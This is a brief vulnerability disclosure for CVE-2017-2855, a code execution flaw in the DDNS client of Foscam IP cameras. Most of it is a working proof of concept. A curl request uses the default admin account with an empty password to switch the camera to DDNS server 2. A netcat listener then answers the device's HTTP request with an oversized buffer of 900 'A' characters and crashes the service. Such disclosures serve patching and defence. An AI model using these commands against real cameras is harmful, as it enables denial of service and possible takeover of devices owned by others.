Foscam IP Video Camera webService 3322.net DDNS Client Code Execution Vulnerability(CVE-2017-2855)

                                                Prerequisite for this attack is that the device is setup to use the DDNS number 2. For this, the following query can be used:

```
$ sUsr="admin"
$ sPwd=""
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=setDDNSConfig&isEnable=1&hostName=x&ddnsServer=2&user=x&password=x"
```
To trigger the vulnerability, an attacker needs to be able to intercept the device's HTTP requests and answer with a malicious payload. The following command will make the service crash.
```
$ sudo nc -l -p 80 <<< $( python2 -c 'print "200 OK\r\n\r\n"+"A"*900+"\r"' )
```